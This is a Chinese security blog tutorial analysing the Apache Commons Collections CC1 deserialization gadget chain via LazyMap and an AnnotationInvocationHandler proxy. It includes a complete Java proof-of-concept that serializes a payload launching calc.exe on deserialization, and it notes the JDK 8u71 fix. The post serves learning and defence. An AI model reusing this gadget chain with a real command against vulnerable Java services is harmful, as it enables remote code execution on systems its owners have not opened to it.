反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

admin 2024年7月15日17:14:21评论18 views字数 5095阅读16分59秒阅读模式

1.介绍

Apache Commons工具包中有⼀个组件叫做 Apache Commons Collections ,其封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,而正是因为在大量web应⽤程序中这些类的实现以及⽅法的调用,导致了反序列化漏洞的普遍性和严重性。

在网上公开的CC1链有两条,分别是TransformedMap函数和LazyMap函数gadgets。我们上一篇中详细分析了CC1链,但是在CC1链中还有一条链就是LazyMap。

在上一篇中调用链找的是TransformedMap,但是本篇也是在这里重新出发,找的是LazyMap方法

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

我们可以看到LazyMap也是能够进行序列化,满足我们调用链的寻找要求

在get方法中首先就要进行一个if判断,判断成功才会执行transform方法

if (map.containsKey(key) == false)

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

containsKey方法根据描述来说用于检查一个特定的键 key 是否不存在于 map 这个映射(或称为字典、哈希表)中,如果存在的话就返回true

所以想要满足这个if语句,我们需要传入一个map数组中不存在的key键名称即可

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

查看LazyMap方法,可以看到factory我们是可以控制的,但是直接调用该方法是受到保护的,继续寻找,发现有一个公开的静态decorate方法,返回了一个LazyMap实例

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

所以我们构造一个poc,传入的是我们之前分析的执行类

public class test {    public static void main(String[] args) throws Exception {        InvokerTransformer test = new InvokerTransformer(                "exec",                new Class[]{String.class},                new String[]{"C:\windows\system32\calc.exe"}        );        Map map = new HashMap();        Map Lazy = LazyMap.decorate(map,test);        Lazy.get(Runtime.getRuntime());    }}

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

3 (Source) 寻找入口类

我们已经找到LazyMap类中的get方法能够调用咱们分析的执行类,所以我们接下来寻找并分析入口类

和之前的CC1分析类似,也是找到了AnnotationInvocationHandler这个类,但是方法不一样,上一篇是分析了readObject方法,这一次是invoke方法

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

既然找到这个方法,确认为入口点,怎么来进行触发呢?他和readObject类似,当进行反序列化时就会自动调用readObject

当进行动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法

所以我们只需要创建一个使用AnnotationInvocationHandler作为处理器的代理对象动态代理,并无参调用该代理对象中的方法即可

正好在readObject中可控的memberValues调用了entrySet方法,恰好是个无参方法

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

在这里调用了entrySet()方法也就是说,如果我们将 memberValues 的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用

第一步,我们先通过反射得到AnnotationInvocationHandler类的构造方法,设置可以访问,并将Override.class, Lazy传入构造器,创建一个实例invocationHandler

Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor aDe = a.getDeclaredConstructor(Class.class, Map.class);aDe.setAccessible(true);InvocationHandler invocationHandler = (InvocationHandler) aDe.newInstance(Override.class, Lazy);

用AnnotationInvocationHandler类作为代理处理器创建了一个代理对象proxyMap,并动态代理前面的invocationHandler方法

Map proxyMap = (Map)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);

根据代理对象proxyMap重新创建了一个实例

invocationHandler =(InvocationHandler) aDe.newInstance(Override.class,proxyMap);

所以整体的一个思路为反序列化后readobject自动触发代理类的无参方法进入代理的处理类invoke,走LazyMap的get方法

4.POC编写

public class test {    public static void main(String[] args) throws Exception {        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Class.class),                new InvokerTransformer(                        "forName",                        new Class[] {String.class},                        new Object[] {"java.lang.Runtime"}                ),                new InvokerTransformer(                        "getMethod",                        new Class[] {String.class,Class[].class},                        new Object[] {"getRuntime",new Class[0]}                ),                new InvokerTransformer(                        "invoke",                        new Class[] {Object.class, Object[].class },                        new Object[] {null, new Object[0] }),                new InvokerTransformer(                        "exec",                        new Class[] {String.class},                        new String[]{"C:\windows\system32\calc.exe"}                )        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        Map map = new HashMap();        Map Lazy = LazyMap.decorate(map,chainedTransformer);        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor aDe = a.getDeclaredConstructor(Class.class, Map.class);        aDe.setAccessible(true);        InvocationHandler invocationHandler = (InvocationHandler) aDe.newInstance(Override.class, Lazy);        Map proxyMap = (Map)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);        invocationHandler =(InvocationHandler) aDe.newInstance(Override.class,proxyMap);        serializable(invocationHandler);//        unserializable();    }        private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{            FileInputStream fis = new FileInputStream("obj1");            ObjectInputStream ois = new ObjectInputStream(fis);            Object o = ois.readObject();            return o;        }    private static void serializable(Object o) throws IOException, ClassNotFoundException {        FileOutputStream fos = new FileOutputStream("obj1");        ObjectOutputStream os = new ObjectOutputStream(fos);        os.writeObject(o);        os.close();    }

我们在序列化到文件之后,进行反序列化poc测试

public class CC {    public static void main(String[] args) throws Exception {        //命令执行代码        unserializable();    }    private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{        FileInputStream fis = new FileInputStream("obj1");        ObjectInputStream ois = new ObjectInputStream(fis);        Object o = ois.readObject();        return o;    }}

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

5. 修复

官方推荐是将jdk版本升级到jdk8u71

在8u71版本之后,

AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。

这是jdk17.0.9的

sun.reflect.annotation.AnnotationInvocationHandler#readObject的readObject方法

第593行新建了一个名为mv的LinkedHashMap,然后mv的数据在第597行开始通过for循环里面的逻辑给mv添加值,所有的操作都是基于这个新建的LinkedHashMap操作的,所以至此利用链就断开了,无法按照我们的预期进行。

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

6.总结

整体的调用链大概是这个样子:

  • InvokeTransformer#transform

    • LazyMap#get

      • AnnotationInvocationHandler#readObject

在调试和运行中,发现调试中会多次弹出计算器,而运行只会在反序列化中触碰

这可能是因为直接运行代码时,没有逻辑去触发Transformer链中的操作,因此计算器没有被启动。而在调试模式下,由于IDE的行为(例如在断点处重新加载类或对象)

可能导致AnnotationInvocationHandler的invoke方法被多次调用,从而意外地触发了Transformer链中的操作,导致计算器被启动。

本系列其它文章:

反序列化学习之路-Apache Commons Collections(CC1)

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任

欢迎关注公众号“呼啦啦安全”,原创技术文章第一时间推送。

原文始发于微信公众号(呼啦啦安全):反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日17:14:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线http://cn-sec.com/archives/2781169.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息